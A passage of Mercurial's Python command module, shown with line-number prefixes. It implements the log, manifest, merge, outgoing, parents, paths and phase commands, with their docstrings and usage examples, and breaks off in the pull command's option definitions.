4493 4493 b'm',
4494 4494 b'only-merges',
4495 4495 None,
4496 4496 _(b'show only merges (DEPRECATED) (use -r "merge()" instead)'),
4497 4497 ),
4498 4498 (b'u', b'user', [], _(b'revisions committed by user'), _(b'USER')),
4499 4499 (
4500 4500 b'',
4501 4501 b'only-branch',
4502 4502 [],
4503 4503 _(
4504 4504 b'show only changesets within the given named branch (DEPRECATED)'
4505 4505 ),
4506 4506 _(b'BRANCH'),
4507 4507 ),
4508 4508 (
4509 4509 b'b',
4510 4510 b'branch',
4511 4511 [],
4512 4512 _(b'show changesets within the given named branch'),
4513 4513 _(b'BRANCH'),
4514 4514 ),
4515 4515 (
4516 4516 b'B',
4517 4517 b'bookmark',
4518 4518 [],
4519 4519 _(b"show changesets within the given bookmark"),
4520 4520 _(b'BOOKMARK'),
4521 4521 ),
4522 4522 (
4523 4523 b'P',
4524 4524 b'prune',
4525 4525 [],
4526 4526 _(b'do not display revision or any of its ancestors'),
4527 4527 _(b'REV'),
4528 4528 ),
4529 4529 ]
4530 4530 + logopts
4531 4531 + walkopts,
4532 4532 _(b'[OPTION]... [FILE]'),
4533 4533 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
4534 4534 helpbasic=True,
4535 4535 inferrepo=True,
4536 4536 intents={INTENT_READONLY},
4537 4537 )
4538 4538 def log(ui, repo, *pats, **opts):
4539 4539 """show revision history of entire repository or files
4540 4540
4541 4541 Print the revision history of the specified files or the entire
4542 4542 project.
4543 4543
4544 4544 If no revision range is specified, the default is ``tip:0`` unless
4545 4545 --follow is set.
4546 4546
4547 4547 File history is shown without following rename or copy history of
4548 4548 files. Use -f/--follow with a filename to follow history across
4549 4549 renames and copies. --follow without a filename will only show
4550 4550 ancestors of the starting revisions. The starting revisions can be
4551 4551 specified by -r/--rev, which default to the working directory parent.
4552 4552
4553 4553 By default this command prints revision number and changeset id,
4554 4554 tags, non-trivial parents, user, date and time, and a summary for
4555 4555 each commit. When the -v/--verbose switch is used, the list of
4556 4556 changed files and full commit message are shown.
4557 4557
4558 4558 With --graph the revisions are shown as an ASCII art DAG with the most
4559 4559 recent changeset at the top.
4560 4560 'o' is a changeset, '@' is a working directory parent, '%' is a changeset
4561 4561 involved in an unresolved merge conflict, '_' closes a branch,
4562 4562 'x' is obsolete, '*' is unstable, and '+' represents a fork where the
4563 4563 changeset from the lines below is a parent of the 'o' merge on the same
4564 4564 line.
4565 4565 Paths in the DAG are represented with '|', '/' and so forth. ':' in place
4566 4566 of a '|' indicates one or more revisions in a path are omitted.
4567 4567
4568 4568 .. container:: verbose
4569 4569
4570 4570 Use -L/--line-range FILE,M:N options to follow the history of lines
4571 4571 from M to N in FILE. With -p/--patch only diff hunks affecting
4572 4572 specified line range will be shown. This option requires --follow;
4573 4573 it can be specified multiple times. Currently, this option is not
4574 4574 compatible with --graph. This option is experimental.
4575 4575
4576 4576 .. note::
4577 4577
4578 4578 :hg:`log --patch` may generate unexpected diff output for merge
4579 4579 changesets, as it will only compare the merge changeset against
4580 4580 its first parent. Also, only files different from BOTH parents
4581 4581 will appear in files:.
4582 4582
4583 4583 .. note::
4584 4584
4585 4585 For performance reasons, :hg:`log FILE` may omit duplicate changes
4586 4586 made on branches and will not show removals or mode changes. To
4587 4587 see all such changes, use the --removed switch.
4588 4588
4589 4589 .. container:: verbose
4590 4590
4591 4591 .. note::
4592 4592
4593 4593 The history resulting from -L/--line-range options depends on diff
4594 4594 options; for instance if white-spaces are ignored, respective changes
4595 4595 with only white-spaces in specified line range will not be listed.
4596 4596
4597 4597 .. container:: verbose
4598 4598
4599 4599 Some examples:
4600 4600
4601 4601 - changesets with full descriptions and file lists::
4602 4602
4603 4603 hg log -v
4604 4604
4605 4605 - changesets ancestral to the working directory::
4606 4606
4607 4607 hg log -f
4608 4608
4609 4609 - last 10 commits on the current branch::
4610 4610
4611 4611 hg log -l 10 -b .
4612 4612
4613 4613 - changesets showing all modifications of a file, including removals::
4614 4614
4615 4615 hg log --removed file.c
4616 4616
4617 4617 - all changesets that touch a directory, with diffs, excluding merges::
4618 4618
4619 4619 hg log -Mp lib/
4620 4620
4621 4621 - all revision numbers that match a keyword::
4622 4622
4623 4623 hg log -k bug --template "{rev}\\n"
4624 4624
4625 4625 - the full hash identifier of the working directory parent::
4626 4626
4627 4627 hg log -r . --template "{node}\\n"
4628 4628
4629 4629 - list available log templates::
4630 4630
4631 4631 hg log -T list
4632 4632
4633 4633 - check if a given changeset is included in a tagged release::
4634 4634
4635 4635 hg log -r "a21ccf and ancestor(1.9)"
4636 4636
4637 4637 - find all changesets by some user in a date range::
4638 4638
4639 4639 hg log -k alice -d "may 2008 to jul 2008"
4640 4640
4641 4641 - summary of all changesets after the last tag::
4642 4642
4643 4643 hg log -r "last(tagged())::" --template "{desc|firstline}\\n"
4644 4644
4645 4645 - changesets touching lines 13 to 23 for file.c::
4646 4646
4647 4647 hg log -L file.c,13:23
4648 4648
4649 4649 - changesets touching lines 13 to 23 for file.c and lines 2 to 6 of
4650 4650 main.c with patch::
4651 4651
4652 4652 hg log -L file.c,13:23 -L main.c,2:6 -p
4653 4653
4654 4654 See :hg:`help dates` for a list of formats valid for -d/--date.
4655 4655
4656 4656 See :hg:`help revisions` for more about specifying and ordering
4657 4657 revisions.
4658 4658
4659 4659 See :hg:`help templates` for more about pre-packaged styles and
4660 4660 specifying custom templates. The default template used by the log
4661 4661 command can be customized via the ``command-templates.log`` configuration
4662 4662 setting.
4663 4663
4664 4664 Returns 0 on success.
4665 4665
4666 4666 """
4667 4667 opts = pycompat.byteskwargs(opts)
4668 4668 linerange = opts.get(b'line_range')
4669 4669
4670 4670 if linerange and not opts.get(b'follow'):
4671 4671 raise error.InputError(_(b'--line-range requires --follow'))
4672 4672
4673 4673 if linerange and pats:
4674 4674 # TODO: take pats as patterns with no line-range filter
4675 4675 raise error.InputError(
4676 4676 _(b'FILE arguments are not compatible with --line-range option')
4677 4677 )
4678 4678
4679 4679 repo = scmutil.unhidehashlikerevs(repo, opts.get(b'rev'), b'nowarn')
4680 4680 walk_opts = logcmdutil.parseopts(ui, pats, opts)
4681 4681 revs, differ = logcmdutil.getrevs(repo, walk_opts)
4682 4682 if linerange:
4683 4683 # TODO: should follow file history from logcmdutil._initialrevs(),
4684 4684 # then filter the result by logcmdutil._makerevset() and --limit
4685 4685 revs, differ = logcmdutil.getlinerangerevs(repo, revs, opts)
4686 4686
4687 4687 getcopies = None
4688 4688 if opts.get(b'copies'):
4689 4689 endrev = None
4690 4690 if revs:
4691 4691 endrev = revs.max() + 1
4692 4692 getcopies = scmutil.getcopiesfn(repo, endrev=endrev)
4693 4693
4694 4694 ui.pager(b'log')
4695 4695 displayer = logcmdutil.changesetdisplayer(
4696 4696 ui, repo, opts, differ, buffered=True
4697 4697 )
4698 4698 if opts.get(b'graph'):
4699 4699 displayfn = logcmdutil.displaygraphrevs
4700 4700 else:
4701 4701 displayfn = logcmdutil.displayrevs
4702 4702 displayfn(ui, repo, revs, displayer, getcopies)
4703 4703
4704 4704
4705 4705 @command(
4706 4706 b'manifest',
4707 4707 [
4708 4708 (b'r', b'rev', b'', _(b'revision to display'), _(b'REV')),
4709 4709 (b'', b'all', False, _(b"list files from all revisions")),
4710 4710 ]
4711 4711 + formatteropts,
4712 4712 _(b'[-r REV]'),
4713 4713 helpcategory=command.CATEGORY_MAINTENANCE,
4714 4714 intents={INTENT_READONLY},
4715 4715 )
4716 4716 def manifest(ui, repo, node=None, rev=None, **opts):
4717 4717 """output the current or given revision of the project manifest
4718 4718
4719 4719 Print a list of version controlled files for the given revision.
4720 4720 If no revision is given, the first parent of the working directory
4721 4721 is used, or the null revision if no revision is checked out.
4722 4722
4723 4723 With -v, print file permissions, symlink and executable bits.
4724 4724 With --debug, print file revision hashes.
4725 4725
4726 4726 If option --all is specified, the list of all files from all revisions
4727 4727 is printed. This includes deleted and renamed files.
4728 4728
4729 4729 Returns 0 on success.
4730 4730 """
4731 4731 opts = pycompat.byteskwargs(opts)
4732 4732 fm = ui.formatter(b'manifest', opts)
4733 4733
4734 4734 if opts.get(b'all'):
4735 4735 if rev or node:
4736 4736 raise error.InputError(_(b"can't specify a revision with --all"))
4737 4737
4738 4738 res = set()
4739 4739 for rev in repo:
4740 4740 ctx = repo[rev]
4741 4741 res |= set(ctx.files())
4742 4742
4743 4743 ui.pager(b'manifest')
4744 4744 for f in sorted(res):
4745 4745 fm.startitem()
4746 4746 fm.write(b"path", b'%s\n', f)
4747 4747 fm.end()
4748 4748 return
4749 4749
4750 4750 if rev and node:
4751 4751 raise error.InputError(_(b"please specify just one revision"))
4752 4752
4753 4753 if not node:
4754 4754 node = rev
4755 4755
4756 4756 char = {b'l': b'@', b'x': b'*', b'': b'', b't': b'd'}
4757 4757 mode = {b'l': b'644', b'x': b'755', b'': b'644', b't': b'755'}
4758 4758 if node:
4759 4759 repo = scmutil.unhidehashlikerevs(repo, [node], b'nowarn')
4760 4760 ctx = scmutil.revsingle(repo, node)
4761 4761 mf = ctx.manifest()
4762 4762 ui.pager(b'manifest')
4763 4763 for f in ctx:
4764 4764 fm.startitem()
4765 4765 fm.context(ctx=ctx)
4766 4766 fl = ctx[f].flags()
4767 4767 fm.condwrite(ui.debugflag, b'hash', b'%s ', hex(mf[f]))
4768 4768 fm.condwrite(ui.verbose, b'mode type', b'%s %1s ', mode[fl], char[fl])
4769 4769 fm.write(b'path', b'%s\n', f)
4770 4770 fm.end()
4771 4771
4772 4772
4773 4773 @command(
4774 4774 b'merge',
4775 4775 [
4776 4776 (
4777 4777 b'f',
4778 4778 b'force',
4779 4779 None,
4780 4780 _(b'force a merge including outstanding changes (DEPRECATED)'),
4781 4781 ),
4782 4782 (b'r', b'rev', b'', _(b'revision to merge'), _(b'REV')),
4783 4783 (
4784 4784 b'P',
4785 4785 b'preview',
4786 4786 None,
4787 4787 _(b'review revisions to merge (no merge is performed)'),
4788 4788 ),
4789 4789 (b'', b'abort', None, _(b'abort the ongoing merge')),
4790 4790 ]
4791 4791 + mergetoolopts,
4792 4792 _(b'[-P] [[-r] REV]'),
4793 4793 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
4794 4794 helpbasic=True,
4795 4795 )
4796 4796 def merge(ui, repo, node=None, **opts):
4797 4797 """merge another revision into working directory
4798 4798
4799 4799 The current working directory is updated with all changes made in
4800 4800 the requested revision since the last common predecessor revision.
4801 4801
4802 4802 Files that changed between either parent are marked as changed for
4803 4803 the next commit and a commit must be performed before any further
4804 4804 updates to the repository are allowed. The next commit will have
4805 4805 two parents.
4806 4806
4807 4807 ``--tool`` can be used to specify the merge tool used for file
4808 4808 merges. It overrides the HGMERGE environment variable and your
4809 4809 configuration files. See :hg:`help merge-tools` for options.
4810 4810
4811 4811 If no revision is specified, the working directory's parent is a
4812 4812 head revision, and the current branch contains exactly one other
4813 4813 head, the other head is merged with by default. Otherwise, an
4814 4814 explicit revision with which to merge must be provided.
4815 4815
4816 4816 See :hg:`help resolve` for information on handling file conflicts.
4817 4817
4818 4818 To undo an uncommitted merge, use :hg:`merge --abort` which
4819 4819 will check out a clean copy of the original merge parent, losing
4820 4820 all changes.
4821 4821
4822 4822 Returns 0 on success, 1 if there are unresolved files.
4823 4823 """
4824 4824
4825 4825 opts = pycompat.byteskwargs(opts)
4826 4826 abort = opts.get(b'abort')
4827 4827 if abort and repo.dirstate.p2() == nullid:
4828 4828 cmdutil.wrongtooltocontinue(repo, _(b'merge'))
4829 4829 cmdutil.check_incompatible_arguments(opts, b'abort', [b'rev', b'preview'])
4830 4830 if abort:
4831 4831 state = cmdutil.getunfinishedstate(repo)
4832 4832 if state and state._opname != b'merge':
4833 4833 raise error.StateError(
4834 4834 _(b'cannot abort merge with %s in progress') % (state._opname),
4835 4835 hint=state.hint(),
4836 4836 )
4837 4837 if node:
4838 4838 raise error.InputError(_(b"cannot specify a node with --abort"))
4839 4839 return hg.abortmerge(repo.ui, repo)
4840 4840
4841 4841 if opts.get(b'rev') and node:
4842 4842 raise error.InputError(_(b"please specify just one revision"))
4843 4843 if not node:
4844 4844 node = opts.get(b'rev')
4845 4845
4846 4846 if node:
4847 4847 ctx = scmutil.revsingle(repo, node)
4848 4848 else:
4849 4849 if ui.configbool(b'commands', b'merge.require-rev'):
4850 4850 raise error.InputError(
4851 4851 _(
4852 4852 b'configuration requires specifying revision to merge '
4853 4853 b'with'
4854 4854 )
4855 4855 )
4856 4856 ctx = repo[destutil.destmerge(repo)]
4857 4857
4858 4858 if ctx.node() is None:
4859 4859 raise error.InputError(
4860 4860 _(b'merging with the working copy has no effect')
4861 4861 )
4862 4862
4863 4863 if opts.get(b'preview'):
4864 4864 # find nodes that are ancestors of p2 but not of p1
4865 4865 p1 = repo[b'.'].node()
4866 4866 p2 = ctx.node()
4867 4867 nodes = repo.changelog.findmissing(common=[p1], heads=[p2])
4868 4868
4869 4869 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
4870 4870 for node in nodes:
4871 4871 displayer.show(repo[node])
4872 4872 displayer.close()
4873 4873 return 0
4874 4874
4875 4875 # ui.forcemerge is an internal variable, do not document
4876 4876 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
4877 4877 with ui.configoverride(overrides, b'merge'):
4878 4878 force = opts.get(b'force')
4879 4879 labels = [b'working copy', b'merge rev']
4880 4880 return hg.merge(ctx, force=force, labels=labels)
4881 4881
4882 4882
4883 4883 statemod.addunfinished(
4884 4884 b'merge',
4885 4885 fname=None,
4886 4886 clearable=True,
4887 4887 allowcommit=True,
4888 4888 cmdmsg=_(b'outstanding uncommitted merge'),
4889 4889 abortfunc=hg.abortmerge,
4890 4890 statushint=_(
4891 4891 b'To continue: hg commit\nTo abort: hg merge --abort'
4892 4892 ),
4893 4893 cmdhint=_(b"use 'hg commit' or 'hg merge --abort'"),
4894 4894 )
4895 4895
4896 4896
4897 4897 @command(
4898 4898 b'outgoing|out',
4899 4899 [
4900 4900 (
4901 4901 b'f',
4902 4902 b'force',
4903 4903 None,
4904 4904 _(b'run even when the destination is unrelated'),
4905 4905 ),
4906 4906 (
4907 4907 b'r',
4908 4908 b'rev',
4909 4909 [],
4910 4910 _(b'a changeset intended to be included in the destination'),
4911 4911 _(b'REV'),
4912 4912 ),
4913 4913 (b'n', b'newest-first', None, _(b'show newest record first')),
4914 4914 (b'B', b'bookmarks', False, _(b'compare bookmarks')),
4915 4915 (
4916 4916 b'b',
4917 4917 b'branch',
4918 4918 [],
4919 4919 _(b'a specific branch you would like to push'),
4920 4920 _(b'BRANCH'),
4921 4921 ),
4922 4922 ]
4923 4923 + logopts
4924 4924 + remoteopts
4925 4925 + subrepoopts,
4926 4926 _(b'[-M] [-p] [-n] [-f] [-r REV]... [DEST]'),
4927 4927 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4928 4928 )
4929 4929 def outgoing(ui, repo, dest=None, **opts):
4930 4930 """show changesets not found in the destination
4931 4931
4932 4932 Show changesets not found in the specified destination repository
4933 4933 or the default push location. These are the changesets that would
4934 4934 be pushed if a push was requested.
4935 4935
4936 4936 See pull for details of valid destination formats.
4937 4937
4938 4938 .. container:: verbose
4939 4939
4940 4940 With -B/--bookmarks, the result of bookmark comparison between
4941 4941 local and remote repositories is displayed. With -v/--verbose,
4942 4942 status is also displayed for each bookmark like below::
4943 4943
4944 4944 BM1 01234567890a added
4945 4945 BM2 deleted
4946 4946 BM3 234567890abc advanced
4947 4947 BM4 34567890abcd diverged
4948 4948 BM5 4567890abcde changed
4949 4949
4950 4950 The action taken when pushing depends on the
4951 4951 status of each bookmark:
4952 4952
4953 4953 :``added``: push with ``-B`` will create it
4954 4954 :``deleted``: push with ``-B`` will delete it
4955 4955 :``advanced``: push will update it
4956 4956 :``diverged``: push with ``-B`` will update it
4957 4957 :``changed``: push with ``-B`` will update it
4958 4958
4959 4959 From the point of view of pushing behavior, bookmarks
4960 4960 existing only in the remote repository are treated as
4961 4961 ``deleted``, even if it is in fact added remotely.
4962 4962
4963 4963 Returns 0 if there are outgoing changes, 1 otherwise.
4964 4964 """
4965 4965 # hg._outgoing() needs to re-resolve the path in order to handle #branch
4966 4966 # style URLs, so don't overwrite dest.
4967 4967 path = ui.getpath(dest, default=(b'default-push', b'default'))
4968 4968 if not path:
4969 4969 raise error.ConfigError(
4970 4970 _(b'default repository not configured!'),
4971 4971 hint=_(b"see 'hg help config.paths'"),
4972 4972 )
4973 4973
4974 4974 opts = pycompat.byteskwargs(opts)
4975 4975 if opts.get(b'graph'):
4976 4976 logcmdutil.checkunsupportedgraphflags([], opts)
4977 4977 o, other = hg._outgoing(ui, repo, dest, opts)
4978 4978 if not o:
4979 4979 cmdutil.outgoinghooks(ui, repo, other, opts, o)
4980 4980 return
4981 4981
4982 4982 revdag = logcmdutil.graphrevs(repo, o, opts)
4983 4983 ui.pager(b'outgoing')
4984 4984 displayer = logcmdutil.changesetdisplayer(ui, repo, opts, buffered=True)
4985 4985 logcmdutil.displaygraph(
4986 4986 ui, repo, revdag, displayer, graphmod.asciiedges
4987 4987 )
4988 4988 cmdutil.outgoinghooks(ui, repo, other, opts, o)
4989 4989 return 0
4990 4990
4991 4991 if opts.get(b'bookmarks'):
4992 4992 dest = path.pushloc or path.loc
4993 4993 other = hg.peer(repo, opts, dest)
4994 4994 try:
4995 4995 if b'bookmarks' not in other.listkeys(b'namespaces'):
4996 4996 ui.warn(_(b"remote doesn't support bookmarks\n"))
4997 4997 return 0
4998 4998 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
4999 4999 ui.pager(b'outgoing')
5000 5000 return bookmarks.outgoing(ui, repo, other)
5001 5001 finally:
5002 5002 other.close()
5003 5003
5004 5004 repo._subtoppath = path.pushloc or path.loc
5005 5005 try:
5006 5006 return hg.outgoing(ui, repo, dest, opts)
5007 5007 finally:
5008 5008 del repo._subtoppath
5009 5009
5010 5010
5011 5011 @command(
5012 5012 b'parents',
5013 5013 [
5014 5014 (
5015 5015 b'r',
5016 5016 b'rev',
5017 5017 b'',
5018 5018 _(b'show parents of the specified revision'),
5019 5019 _(b'REV'),
5020 5020 ),
5021 5021 ]
5022 5022 + templateopts,
5023 5023 _(b'[-r REV] [FILE]'),
5024 5024 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
5025 5025 inferrepo=True,
5026 5026 )
5027 5027 def parents(ui, repo, file_=None, **opts):
5028 5028 """show the parents of the working directory or revision (DEPRECATED)
5029 5029
5030 5030 Print the working directory's parent revisions. If a revision is
5031 5031 given via -r/--rev, the parent of that revision will be printed.
5032 5032 If a file argument is given, the revision in which the file was
5033 5033 last changed (before the working directory revision or the
5034 5034 argument to --rev if given) is printed.
5035 5035
5036 5036 This command is equivalent to::
5037 5037
5038 5038 hg log -r "p1()+p2()" or
5039 5039 hg log -r "p1(REV)+p2(REV)" or
5040 5040 hg log -r "max(::p1() and file(FILE))+max(::p2() and file(FILE))" or
5041 5041 hg log -r "max(::p1(REV) and file(FILE))+max(::p2(REV) and file(FILE))"
5042 5042
5043 5043 See :hg:`summary` and :hg:`help revsets` for related information.
5044 5044
5045 5045 Returns 0 on success.
5046 5046 """
5047 5047
5048 5048 opts = pycompat.byteskwargs(opts)
5049 5049 rev = opts.get(b'rev')
5050 5050 if rev:
5051 5051 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
5052 5052 ctx = scmutil.revsingle(repo, rev, None)
5053 5053
5054 5054 if file_:
5055 5055 m = scmutil.match(ctx, (file_,), opts)
5056 5056 if m.anypats() or len(m.files()) != 1:
5057 5057 raise error.InputError(_(b'can only specify an explicit filename'))
5058 5058 file_ = m.files()[0]
5059 5059 filenodes = []
5060 5060 for cp in ctx.parents():
5061 5061 if not cp:
5062 5062 continue
5063 5063 try:
5064 5064 filenodes.append(cp.filenode(file_))
5065 5065 except error.LookupError:
5066 5066 pass
5067 5067 if not filenodes:
5068 5068 raise error.InputError(_(b"'%s' not found in manifest") % file_)
5069 5069 p = []
5070 5070 for fn in filenodes:
5071 5071 fctx = repo.filectx(file_, fileid=fn)
5072 5072 p.append(fctx.node())
5073 5073 else:
5074 5074 p = [cp.node() for cp in ctx.parents()]
5075 5075
5076 5076 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
5077 5077 for n in p:
5078 5078 if n != nullid:
5079 5079 displayer.show(repo[n])
5080 5080 displayer.close()
5081 5081
5082 5082
5083 5083 @command(
5084 5084 b'paths',
5085 5085 formatteropts,
5086 5086 _(b'[NAME]'),
5087 5087 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5088 5088 optionalrepo=True,
5089 5089 intents={INTENT_READONLY},
5090 5090 )
5091 5091 def paths(ui, repo, search=None, **opts):
5092 5092 """show aliases for remote repositories
5093 5093
5094 5094 Show definition of symbolic path name NAME. If no name is given,
5095 5095 show definition of all available names.
5096 5096
5097 5097 Option -q/--quiet suppresses all output when searching for NAME
5098 5098 and shows only the path names when listing all definitions.
5099 5099
5100 5100 Path names are defined in the [paths] section of your
5101 5101 configuration file and in ``/etc/mercurial/hgrc``. If run inside a
5102 5102 repository, ``.hg/hgrc`` is used, too.
5103 5103
5104 5104 The path names ``default`` and ``default-push`` have a special
5105 5105 meaning. When performing a push or pull operation, they are used
5106 5106 as fallbacks if no location is specified on the command-line.
5107 5107 When ``default-push`` is set, it will be used for push and
5108 5108 ``default`` will be used for pull; otherwise ``default`` is used
5109 5109 as the fallback for both. When cloning a repository, the clone
5110 5110 source is written as ``default`` in ``.hg/hgrc``.
5111 5111
5112 5112 .. note::
5113 5113
5114 5114 ``default`` and ``default-push`` apply to all inbound (e.g.
5115 5115 :hg:`incoming`) and outbound (e.g. :hg:`outgoing`, :hg:`email`
5116 5116 and :hg:`bundle`) operations.
5117 5117
5118 5118 See :hg:`help urls` for more information.
5119 5119
5120 5120 .. container:: verbose
5121 5121
5122 5122 Template:
5123 5123
5124 5124 The following keywords are supported. See also :hg:`help templates`.
5125 5125
5126 5126 :name: String. Symbolic name of the path alias.
5127 5127 :pushurl: String. URL for push operations.
5128 5128 :url: String. URL or directory path for the other operations.
5129 5129
5130 5130 Returns 0 on success.
5131 5131 """
5132 5132
5133 5133 opts = pycompat.byteskwargs(opts)
5134 5134 ui.pager(b'paths')
5135 5135 if search:
5136 5136 pathitems = [
5137 5137 (name, path)
5138 5138 for name, path in pycompat.iteritems(ui.paths)
5139 5139 if name == search
5140 5140 ]
5141 5141 else:
5142 5142 pathitems = sorted(pycompat.iteritems(ui.paths))
5143 5143
5144 5144 fm = ui.formatter(b'paths', opts)
5145 5145 if fm.isplain():
5146 5146 hidepassword = urlutil.hidepassword
5147 5147 else:
5148 5148 hidepassword = bytes
5149 5149 if ui.quiet:
5150 5150 namefmt = b'%s\n'
5151 5151 else:
5152 5152 namefmt = b'%s = '
5153 5153 showsubopts = not search and not ui.quiet
5154 5154
5155 5155 for name, path in pathitems:
5156 5156 fm.startitem()
5157 5157 fm.condwrite(not search, b'name', namefmt, name)
5158 5158 fm.condwrite(not ui.quiet, b'url', b'%s\n', hidepassword(path.rawloc))
5159 5159 for subopt, value in sorted(path.suboptions.items()):
5160 5160 assert subopt not in (b'name', b'url')
5161 5161 if showsubopts:
5162 5162 fm.plain(b'%s:%s = ' % (name, subopt))
5163 5163 fm.condwrite(showsubopts, subopt, b'%s\n', value)
5164 5164
5165 5165 fm.end()
5166 5166
5167 5167 if search and not pathitems:
5168 5168 if not ui.quiet:
5169 5169 ui.warn(_(b"not found!\n"))
5170 5170 return 1
5171 5171 else:
5172 5172 return 0
5173 5173
5174 5174
5175 5175 @command(
5176 5176 b'phase',
5177 5177 [
5178 5178 (b'p', b'public', False, _(b'set changeset phase to public')),
5179 5179 (b'd', b'draft', False, _(b'set changeset phase to draft')),
5180 5180 (b's', b'secret', False, _(b'set changeset phase to secret')),
5181 5181 (b'f', b'force', False, _(b'allow to move boundary backward')),
5182 5182 (b'r', b'rev', [], _(b'target revision'), _(b'REV')),
5183 5183 ],
5184 5184 _(b'[-p|-d|-s] [-f] [-r] [REV...]'),
5185 5185 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
5186 5186 )
5187 5187 def phase(ui, repo, *revs, **opts):
5188 5188 """set or show the current phase name
5189 5189
5190 5190 With no argument, show the phase name of the current revision(s).
5191 5191
5192 5192 With one of -p/--public, -d/--draft or -s/--secret, change the
5193 5193 phase value of the specified revisions.
5194 5194
5195 5195 Unless -f/--force is specified, :hg:`phase` won't move changesets from a
5196 5196 lower phase to a higher phase. Phases are ordered as follows::
5197 5197
5198 5198 public < draft < secret
5199 5199
5200 5200 Returns 0 on success, 1 if some phases could not be changed.
5201 5201
5202 5202 (For more information about the phases concept, see :hg:`help phases`.)
5203 5203 """
5204 5204 opts = pycompat.byteskwargs(opts)
5205 5205 # search for a unique phase argument
5206 5206 targetphase = None
5207 5207 for idx, name in enumerate(phases.cmdphasenames):
5208 5208 if opts[name]:
5209 5209 if targetphase is not None:
5210 5210 raise error.InputError(_(b'only one phase can be specified'))
5211 5211 targetphase = idx
5212 5212
5213 5213 # look for specified revision
5214 5214 revs = list(revs)
5215 5215 revs.extend(opts[b'rev'])
5216 5216 if not revs:
5217 5217 # display both parents as the second parent phase can influence
5218 5218 # the phase of a merge commit
5219 5219 revs = [c.rev() for c in repo[None].parents()]
5220 5220
5221 5221 revs = scmutil.revrange(repo, revs)
5222 5222
5223 5223 ret = 0
5224 5224 if targetphase is None:
5225 5225 # display
5226 5226 for r in revs:
5227 5227 ctx = repo[r]
5228 5228 ui.write(b'%i: %s\n' % (ctx.rev(), ctx.phasestr()))
5229 5229 else:
5230 5230 with repo.lock(), repo.transaction(b"phase") as tr:
5231 5231 # set phase
5232 5232 if not revs:
5233 5233 raise error.InputError(_(b'empty revision set'))
5234 5234 nodes = [repo[r].node() for r in revs]
5235 5235 # moving revision from public to draft may hide them
5236 5236 # We have to check result on an unfiltered repository
5237 5237 unfi = repo.unfiltered()
5238 5238 getphase = unfi._phasecache.phase
5239 5239 olddata = [getphase(unfi, r) for r in unfi]
5240 5240 phases.advanceboundary(repo, tr, targetphase, nodes)
5241 5241 if opts[b'force']:
5242 5242 phases.retractboundary(repo, tr, targetphase, nodes)
5243 5243 getphase = unfi._phasecache.phase
5244 5244 newdata = [getphase(unfi, r) for r in unfi]
5245 5245 changes = sum(newdata[r] != olddata[r] for r in unfi)
5246 5246 cl = unfi.changelog
5247 5247 rejected = [n for n in nodes if newdata[cl.rev(n)] < targetphase]
5248 5248 if rejected:
5249 5249 ui.warn(
5250 5250 _(
5251 5251 b'cannot move %i changesets to a higher '
5252 5252 b'phase, use --force\n'
5253 5253 )
5254 5254 % len(rejected)
5255 5255 )
5256 5256 ret = 1
5257 5257 if changes:
5258 5258 msg = _(b'phase changed for %i changesets\n') % changes
5259 5259 if ret:
5260 5260 ui.status(msg)
5261 5261 else:
5262 5262 ui.note(msg)
5263 5263 else:
5264 5264 ui.warn(_(b'no phases changed\n'))
5265 5265 return ret
5266 5266
5267 5267
5268 5268 def postincoming(ui, repo, modheads, optupdate, checkout, brev):
5269 5269 """Run after a changegroup has been added via pull/unbundle
5270 5270
5271 5271 This takes arguments below:
5272 5272
5273 5273 :modheads: change of heads by pull/unbundle
5274 5274 :optupdate: updating working directory is needed or not
5275 5275 :checkout: update destination revision (or None to default destination)
5276 5276 :brev: a name, which might be a bookmark to be activated after updating
5277 5277
5278 5278 return True if update raise any conflict, False otherwise.
5279 5279 """
5280 5280 if modheads == 0:
5281 5281 return False
5282 5282 if optupdate:
5283 5283 try:
5284 5284 return hg.updatetotally(ui, repo, checkout, brev)
5285 5285 except error.UpdateAbort as inst:
5286 5286 msg = _(b"not updating: %s") % stringutil.forcebytestr(inst)
5287 5287 hint = inst.hint
5288 5288 raise error.UpdateAbort(msg, hint=hint)
5289 5289 if modheads is not None and modheads > 1:
5290 5290 currentbranchheads = len(repo.branchheads())
5291 5291 if currentbranchheads == modheads:
5292 5292 ui.status(
5293 5293 _(b"(run 'hg heads' to see heads, 'hg merge' to merge)\n")
5294 5294 )
5295 5295 elif currentbranchheads > 1:
5296 5296 ui.status(
5297 5297 _(b"(run 'hg heads .' to see heads, 'hg merge' to merge)\n")
5298 5298 )
5299 5299 else:
5300 5300 ui.status(_(b"(run 'hg heads' to see heads)\n"))
5301 5301 elif not ui.configbool(b'commands', b'update.requiredest'):
5302 5302 ui.status(_(b"(run 'hg update' to get a working copy)\n"))
5303 5303 return False
5304 5304
5305 5305
5306 5306 @command(
5307 5307 b'pull',
5308 5308 [
5309 5309 (
5310 5310 b'u',
5311 5311 b'update',
5312 5312 None,
5313 5313 _(b'update to new branch head if new descendants were pulled'),
5314 5314 ),
5315 5315 (
5316 5316 b'f',
5317 5317 b'force',
5318 5318 None,
5319 5319 _(b'run even when remote repository is unrelated'),
5320 5320 ),
5321 5321 (
5322 5322 b'',
5323 5323 b'confirm',
5324 5324 None,
5325 5325 _(b'confirm pull before applying changes'),
5326 5326 ),
5327 5327 (
5328 5328 b'r',
5329 5329 b'rev',
5330 5330 [],
5331 5331 _(b'a remote changeset intended to be added'),
5332 5332 _(b'REV'),
5333 5333 ),
5334 5334 (b'B', b'bookmark', [], _(b"bookmark to pull"), _(b'BOOKMARK')),
5335 5335 (
5336 5336 b'b',
5337 5337 b'branch',
5338 5338 [],
5339 5339 _(b'a specific branch you would like to pull'),
5340 5340 _(b'BRANCH'),
5341 5341 ),
5342 5342 ]
5343 5343 + remoteopts,
5344 5344 _(b'[-u] [-f] [-r REV]... [-e CMD] [--remotecmd CMD] [SOURCE]...'),
5345 5345 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5346 5346 helpbasic=True,
5347 5347 )
